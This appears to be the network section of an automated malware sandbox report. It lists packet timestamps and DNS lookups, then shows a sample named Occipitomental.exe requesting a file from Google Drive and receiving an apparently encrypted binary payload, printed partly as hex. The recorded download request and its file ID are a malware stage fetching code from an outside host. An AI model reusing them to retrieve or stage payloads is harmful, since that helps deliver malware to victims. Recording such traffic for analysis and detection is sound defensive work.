                                                Oct 22, 2024 16:14:35.782953024 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.783004999 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.783008099 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.783047915 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.783054113 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.783094883 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.788897038 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.788960934 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.788983107 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.789027929 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.789216995 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.789259911 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.789474010 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.789515972 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.790503979 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.790575027 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.790616035 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.790657043 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.813302040 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.813402891 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.813415051 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.813457966 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.813767910 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.813812017 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.813816071 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.813863039 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.814120054 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.814162016 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.814165115 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.814208031 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.814548969 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.814594984 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.814853907 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.814893007 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.815022945 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.815026999 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.815076113 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.815763950 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.815808058 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.815820932 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.815826893 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.815850019 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.815855980 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.815879107 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.815882921 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.815908909 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.815932035 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.816649914 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.816693068 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.816698074 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.816701889 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.816739082 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.817521095 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.817569971 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.817574024 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.817600012 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.817616940 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.817621946 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.817634106 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.817662954 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.818181992 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.818228006 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.818406105 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.818449974 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.820565939 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.820616007 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.820671082 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.820713997 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.823050976 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.823098898 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.823513985 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.823563099 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.824588060 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.824640989 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.824707985 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.824750900 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.826714993 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.826792955 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.826818943 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.826860905 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.831548929 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.831621885 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.831628084 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.831667900 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.832772970 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.832839966 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.832896948 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.832936049 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.834731102 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.834798098 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.834825993 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.834862947 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.836474895 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.836529970 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.836564064 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.836601019 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.838387012 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.838500977 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.838510990 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.838558912 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.840286016 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.840346098 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.840420008 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.840466976 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.842458010 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.842514038 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.842578888 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.842621088 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.847491026 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.847533941 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.847552061 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.847557068 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.847563028 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.847572088 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.847630978 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.847899914 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.847943068 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.848030090 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.848073959 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.849780083 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.849870920 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.849917889 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.849961042 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.851605892 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.851660967 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.851731062 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.851773977 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.853322029 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.853379965 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.853420019 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.853461027 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.855343103 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.855407953 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.855421066 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.857166052 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.857201099 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.857206106 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.857248068 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.857292891 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.858582020 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.858643055 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.858681917 CEST49972443192.168.2.7142.250.186.97
                                                Oct 22, 2024 16:14:35.858715057 CEST44349972142.250.186.97192.168.2.7
                                                Oct 22, 2024 16:14:35.858766079 CEST49972443192.168.2.7142.250.186.97

                                                UDP Packets

                                                TimestampSource PortDest PortSource IPDest IP
                                                Oct 22, 2024 16:14:30.208975077 CEST5785453192.168.2.71.1.1.1
                                                Oct 22, 2024 16:14:30.216698885 CEST53578541.1.1.1192.168.2.7
                                                Oct 22, 2024 16:14:31.831478119 CEST6294353192.168.2.71.1.1.1
                                                Oct 22, 2024 16:14:31.840883017 CEST53629431.1.1.1192.168.2.7

                                                DNS Queries

                                                TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                Oct 22, 2024 16:14:30.208975077 CEST192.168.2.71.1.1.10x19d8Standard query (0)drive.google.comA (IP address)IN (0x0001)false
                                                Oct 22, 2024 16:14:31.831478119 CEST192.168.2.71.1.1.10x6520Standard query (0)drive.usercontent.google.comA (IP address)IN (0x0001)false

                                                DNS Answers

                                                TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                Oct 22, 2024 16:14:30.216698885 CEST1.1.1.1192.168.2.70x19d8No error (0)drive.google.com142.250.186.78A (IP address)IN (0x0001)false
                                                Oct 22, 2024 16:14:31.840883017 CEST1.1.1.1192.168.2.70x6520No error (0)drive.usercontent.google.com142.250.186.97A (IP address)IN (0x0001)false

                                                HTTP Request Dependency Graph

                                                • drive.google.com
                                                • drive.usercontent.google.com

                                                HTTPS Proxied Packets

                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                0192.168.2.749971142.250.186.784431928C:\Users\user\Desktop\Occipitomental.exe
                                                TimestampBytes transferredDirectionData
                                                2024-10-22 14:14:31 UTC208OUTGET /uc?export=download&id=145RJWuI0Ln_ShdahU_6lgTEtOh5H5P1H HTTP/1.1
                                                User-Agent: 5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
                                                Host: drive.google.com
                                                Cache-Control: no-cache
                                                2024-10-22 14:14:31 UTC1610INHTTP/1.1 303 See Other
                                                Content-Type: application/binary
                                                Cache-Control: no-cache, no-store, max-age=0, must-revalidate
                                                Pragma: no-cache
                                                Expires: Mon, 01 Jan 1990 00:00:00 GMT
                                                Date: Tue, 22 Oct 2024 14:14:31 GMT
                                                Location: https://drive.usercontent.google.com/download?id=145RJWuI0Ln_ShdahU_6lgTEtOh5H5P1H&export=download
                                                Strict-Transport-Security: max-age=31536000
                                                Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factors=*, ch-ua-platform=*, ch-ua-platform-version=*
                                                Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport
                                                Content-Security-Policy: script-src 'nonce-uy9SIQoMJ6J4q5kiEEUvxQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'
                                                Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist
                                                Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
                                                Cross-Origin-Opener-Policy: same-origin
                                                Server: ESF
                                                Content-Length: 0
                                                X-XSS-Protection: 0
                                                X-Frame-Options: SAMEORIGIN
                                                X-Content-Type-Options: nosniff
                                                Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
                                                Connection: close


                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                1192.168.2.749972142.250.186.974431928C:\Users\user\Desktop\Occipitomental.exe
                                                TimestampBytes transferredDirectionData
                                                2024-10-22 14:14:32 UTC250OUTGET /download?id=145RJWuI0Ln_ShdahU_6lgTEtOh5H5P1H&export=download HTTP/1.1
                                                User-Agent: 5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
                                                Cache-Control: no-cache
                                                Host: drive.usercontent.google.com
                                                Connection: Keep-Alive
                                                2024-10-22 14:14:35 UTC4906INHTTP/1.1 200 OK
                                                Content-Type: application/octet-stream
                                                Content-Security-Policy: sandbox
                                                Content-Security-Policy: default-src 'none'
                                                Content-Security-Policy: frame-ancestors 'none'
                                                X-Content-Security-Policy: sandbox
                                                Cross-Origin-Opener-Policy: same-origin
                                                Cross-Origin-Embedder-Policy: require-corp
                                                Cross-Origin-Resource-Policy: same-site
                                                X-Content-Type-Options: nosniff
                                                Content-Disposition: attachment; filename="orIjriAVzTaLwrkPEVw116.bin"
                                                Access-Control-Allow-Origin: *
                                                Access-Control-Allow-Credentials: false
                                                Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED]
                                                Access-Control-Allow-Methods: GET,HEAD,OPTIONS
                                                Accept-Ranges: bytes
                                                Content-Length: 286784
                                                Last-Modified: Mon, 14 Oct 2024 08:24:29 GMT
                                                X-GUploader-UploadID: AHmUCY39FIfT-CFLBZBerwEgM92pZrlaZLyKklppzvzHWZb_PmxK4AW2RCr1iXa8bjcWMsy71lU7zAkK2g
                                                Date: Tue, 22 Oct 2024 14:14:35 GMT
                                                Expires: Tue, 22 Oct 2024 14:14:35 GMT
                                                Cache-Control: private, max-age=0
                                                X-Goog-Hash: crc32c=e7IFIA==
                                                Server: UploadServer
                                                Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
                                                Connection: close
                                                2024-10-22 14:14:35 UTC4906INData Raw: 0d 21 1b b0 46 57 21 19 27 f8 80 db 99 7d 0b 35 0e 9d d2 75 1c 2b 04 9f 61 94 b6 70 67 a1 52 ad 21 7c b6 df 34 a2 e8 82 41 5b 55 32 95 00 f3 79 53 f2 0c 9f 15 08 33 63 94 61 d9 df ac 98 aa 00 eb 1c ba a3 6c bf 02 8e 3d 51 22 d8 7d f3 36 6c 0e 53 b7 a1 7c d6 51 16 5e b4 4d 83 38 05 72 6d 40 e3 1b 5c 16 6c 57 2e 48 da 2f df 24 0e bc 30 0d 04 7c 6c 12 12 87 a3 e7 0d 71 a2 0a 29 e6 92 fc fc 09 70 2e d2 55 32 b8 e4 02 2f 1e 0a 2a e0 63 f5 40 44 f7 41 b9 3f d9 01 78 b2 36 5a 12 9f 46 d9 58 81 11 bc 1e c7 6d 04 d9 0d 5b 84 86 4a 25 ba 28 54 3e 58 12 af 7c 3c d7 24 87 e5 6c e6 09 94 9d 18 51 aa ce 10 60 6c 1b 29 51 80 c6 60 58 f1 4f cb e3 d1 0c 0a 04 69 36 42 2c ce 2c 27 66 3d a9 d3 0a 20 8e c7 08 75 49 b9 aa 46 0a d8 87 24 2a 9b 4f a0 b3 38 c1 e1 21 5e eb 61 36
                                                Data Ascii: !FW!'}5u+apgR!|4A[U2yS3cal=Q"}6lS|Q^M8rm@\lW.H/$0|lq)p.U2/*c@DA?x6ZFXm[J%(T>X|<$lQ`l)Q`XOi6B,,'f= uIF$*O8!^a6
                                                2024-10-22 14:14:35 UTC4883INData Raw: 11 c4 3a 7b 5b 37 42 29 34 75 fb 76 36 08 cd ea 67 26 b5 45 8d f6 da 11 2c 10 f4 0a dc 2f 23 ca c5 14 0a 3b 89 c7 be 13 64 08 89 75 43 4c 53 79 33 4c 41 29 39 67 52 02 28 b3 e4 41 31 bf 5f 0a b7 b9 24 ab aa af 47 02 b0 ba dc 66 08 a9 f6 41 22 15 af 1a 0d 18 84 22 94 74 78 f3 be b3 00 8b c4 03 01 d0 db 8b 58 25 27 33 5d 12 6c 38 e2 26 4d 5c 71 e0 b8 f8 b6 fd bc ed 2c d4 a1 e6 30 71 01 f3 73 4f 1c b9 8c 17 ec bd b7 6e 9d 84 d7 e8 fb 7c e0 fe 9d c4 79 92 fb 4e da 0d b9 e0 b9 31 35 99 27 96 4a f3 21 e3 53 b8 fc f4 40 43 b0 cb c3 2b ec df eb b2 c2 1b bf ec f6 f1 fc ef ca c3 b5 b3 7c b5 f5 5b ca f0 31 ee 33 23 de 35 69 7f 3d d6 5d 63 1c 54 c5 4f 84 9d 1a ce cf 12 1f 05 98 2f 12 a4 36 64 55 7f 6c db 43 4e 8e a2 09 9f a0 39 52 f0 1c b0 86 f3 11 99 a4 8c 40 f2 d5
                                                Data Ascii: :{[7B)4uv6g&E,/#;duCLSy3LA)9gR(A1_$GfA""txX%'3]l8&M\q,0qsOn|yN15'J!S@C+|[13#5i=]cTO/6dUlCN9R@
                                                2024-10-22 14:14:35 UTC1326INData Raw: c9 d5 96 90 29 af 98 d7 a2 c9 52 7f 08 92 59 f3 c3 23 75 b0 03 b3 87 1a 68 4e 1b b1 ee 38 47 f3 3a 18 58 85 95 4b 8b de be 1c 2c 50 79 c5 77 5c 16 7d 05 d2 de 02 cb 4e c1 69 d7 91 ac 49 26 5f d2 90 15 a9 ad 56 d0 e7 37 8c 34 1c a0 44 15 5f d2 ec 0f cf 90 ff b6 69 b4 5d 0f 4a 89 d2 dc eb 72 13 13 37 6e 1c b0 a7 27 f0 84 bb 4d 41 e0 5e da d2 8b 9e b4 ad 6f 52 39 91 c1 9f 2b db 27 9b 1b d4 29 7c 00 c4 96 42 ab 58 c8 1c 24 c2 df 98 c1 38 47 48 45 c2 3c df 82 ea ad 8f 7e e4 5b 03 fc 2f 96 64 20 12 53 05 43 80 ca b9 48 ef 59 45 ae 2e 3b 66 b6 1b 7b 96 e5 57 f2 85 34 af ec e5 68 7e 3d 73 6a d1 33 c1 ab d9 20 08 85 0c fd 95 ef 46 38 17 5d 70 7e 87 f0 3c e1 36 e0 dd 8b eb 9a 9d c5 ab b8 78 cf e7 01 39 51 69 99 25 6d 5a fe 6e ed 13 94 cc 67 ec 02 9e df 1f 17 60 37
                                                Data Ascii: )RY#uhN8G:XK,Pyw\}NiI&_V74D_i]Jr7n'MA^oR9+')|BX$8GHE<~[/d SCHYE.;f{W4h~=sj3 F8]p~<6x9Qi%mZng`7
                                                2024-10-22 14:14:35 UTC1378INData Raw: fd f3 5b 27 c0 56 c6 70 2f ca 00 da 81 8b fa 56 21 ce 50 9a 63 6c e5 60 20 25 69 41 3c b4 37 cd 10 69 7d ae d3 b5 0f 3f 8b 3b e3 b5 c9 c8 19 e3 6c 71 46 f6 f7 b3 b5 0a a4 1e 7f 30 ad 25 32 55 c9 15 30 bb 62 72 55 d7 ab 4d af 6b 12 ba 6a bb 4f 51 9e d7 cc 49 5f 61 da 00 cf 4a 55 e3 3c c2 d7 f1 8a 77 90 3a 0e 1c b0 fa d4 cb 8e d7 36 66 10 90 d9 da 8f d4 3e 43 09 c9 03 6a 0e a3 d8 5b 25 f6 f6 9b 5d e1 1b cf 8c 1d 3e 13 e5 d4 67 08 2a bb e5 0a 60 3f dd 16 d2 2d ca 45 d5 9e 02 36 23 2a 1e 74 e5 55 1d 84 0b 6f c6 2d ba a3 10 04 93 dc e3 af 65 88 a0 4b 67 ab e6 39 6d 5f ee d0 d4 96 28 05 d5 40 4f 56 e2 1a c0 04 91 15 2b 2b 3c 76 c1 d5 2a 0c 57 2c 89 3e c9 96 cf 27 73 dc 1f 96 53 ee 67 94 dd 64 e0 84 2b 84 c8 4e ea c6 7c be db 18 0e 51 13 fc e0 a5 04 71 5f 25 c0
                                                Data Ascii: ['Vp/V!Pcl` %iA<7i}?;lqF0%2U0brUMkjOQI_aJU<w:6f>Cj[%]>g*`?-E6#*tUo-eKg9m_(@OV++<v*W,>'sSgd+N|Qq_%
                                                2024-10-22 14:14:35 UTC1378INData Raw: b1 76 dc c2 b7 3e fe 00 d7 b1 3f 13 ff f9 67 ad f4 ec 7f 2f 51 d0 06 c7 cb 32 9a 36 60 94 4f 83 46 38 19 da d9 ff 6e cf ef 54 f6 60 cb f1 14 1b 2e 5f d7 8b 8d f6 b5 d0 cc 79 3e be 39 3b a0 13 ca aa 89 b4 79 75 aa 70 b7 a4 f5 87 83 b8 04 5f e6 95 f9 c6 67 e2 96 e0 45 69 4e 0b b5 0c f6 29 7f 6a 04 00 dc 3f 4c 0f 5b 98 d9 3b a9 f3 7f 8e 81 15 38 7b 0b 86 03 48 c3 73 44 38 42 b1 03 73 aa f8 79 b9 b8 03 39 f4 cb 70 38 f0 2d 84 7d cb 2f f5 cd 05 ac 85 77 90 1b 28 aa de 60 f5 35 2e ee b8 b5 fd e8 5e 37 7d 76 80 32 e3 5b b1 9a 55 5d f0 b5 0d 7c 90 62 32 e6 f0 0a 38 f6 b1 46 29 22 3f 34 00 bc fb 80 ce b8 c7 1f 16 ac 3b d5 9d 3e 68 81 0c 95 f0 66 fb 31 88 46 19 67 8a 53 65 23 56 68 47 aa 0d 58 36 94 d4 a3 c4 58 fd 6d 82 92 c2 34 72 37 d7 e0 c8 61 36 95 d2 f6 d8 73
                                                Data Ascii: v>?g/Q26`OF8nT`._y>9;yup_gEiN)j?L[;8{HsD8Bsy9p8-}/w(`5.^7}v2[U]|b28F)"?4;>hf1FgSe#VhGX6Xm4r7a6s
                                                2024-10-22 14:14:35 UTC1378INData Raw: f8 34 e0 65 d9 c3 4f 90 69 d4 76 99 99 81 f7 b5 a9 c2 8d d3 37 ca c3 04 fd ef 20 17 0a 82 44 75 93 fd dc b4 a5 f3 02 64 61 41 ef be 3a 44 b2 04 55 3e 27 50 61 fb db 83 c1 06 eb 31 bc da 8c 3b 15 b9 34 de d1 c7 3a 3a b0 08 3a 30 1d e1 ab f6 76 3d 17 3a d9 47 23 4c d7 ea 27 f8 09 b5 5f df 9c 27 9f f7 89 43 55 09 2a 3d 60 9a 18 51 64 ae 30 12 8b dc ae 83 95 3b 60 6b 8d bf ed 69 39 4d 48 ab 24 0b 6a fb 40 a4 7e d4 06 76 4e 2a 18 0f 21 5e 3b 92 ca be 48 fa 36 fc 12 cc ac 45 6c 66 33 bf a6 fb 6e 0f 0f 79 36 ba 00 e2 3c 0a fc 6b b2 02 c7 da 21 cd 52 60 d3 04 84 e4 05 9e 63 00 8d 0f 7c 6d a6 c4 31 37 fe a4 57 0c 50 52 72 17 6d 12 7f 63 95 19 82 d6 cb 8e 4b 35 b9 c6 51 6a d3 6d 6a 68 0b 5e 9f 9b af fe e3 a9 06 1b ed a8 13 d8 5c a9 29 64 62 6d b5 8b 85 27 57 ac d9
                                                Data Ascii: 4eOiv7 DudaA:DU>'Pa1;4:::0v=:G#L'_'CU*=`Qd0;`ki9MH$j@~vN*!^;H6Elf3ny6<k!R`c|m17WPRrmcK5Qjmjh^\)dbm'W
                                                2024-10-22 14:14:35 UTC1378INData Raw: c7 ae 79 e4 49 71 1b 5f 4d 51 46 b5 82 67 33 b9 23 64 5f be 28 f8 e8 45 68 0a 22 ae 6b 7d 33 4f 80 70 8a 30 de c0 33 b3 b9 9b de e2 b6 c7 de 6c 37 1f 4e b0 09 2d 5c 31 9d cc fc 89 32 07 0e 29 f5 35 22 71 e9 79 7c ed 2b b8 c1 9e 0a ce fe 92 7b 86 24 c1 d8 22 37 e1 eb 4b c8 fa a9 3a e5 c4 57 cb 45 a9 c2 b4 1a d6 47 b2 a9 bc 44 96 c9 fc a2 b0 fd 9a 45 55 b0 4f f4 8d f6 1f fc 1f dd b6 91 72 3f a8 27 bc 49 c0 12 e3 8b 67 34 ee af 00 87 77 ed e0 d6 68 b1 99 b6 af 4e a8 6a c5 f8 0d 5b cd a5 ad ba a4 ee 2b 4d d8 ba 83 f1 0d 78 ef a9 f5 72 92 a6 6d 55 37 49 d2 11 1e 56 2b 0a 20 da 60 c5 b5 6c 47 71 9e 2c 54 f4 36 07 54 a4 9a 5f 2c 0f 14 40 cd ff 0f 49 97 32 40 92 55 1b 41 cb 04 a1 b9 93 3c d6 87 0b 95 4a c2 d6 12 85 2e b1 30 ff 5c 54 8e 07 88 5e d6 71 f4 6b d7 99
                                                Data Ascii: yIq_MQFg3#d_(Eh"k}3Op03l7N-\12)5"qy|+{$"7K:WEGDEUOr?'Ig4whNj[+MxrmU7IV+ `lGq,T6T_,@I2@UA<J.0\T^qk
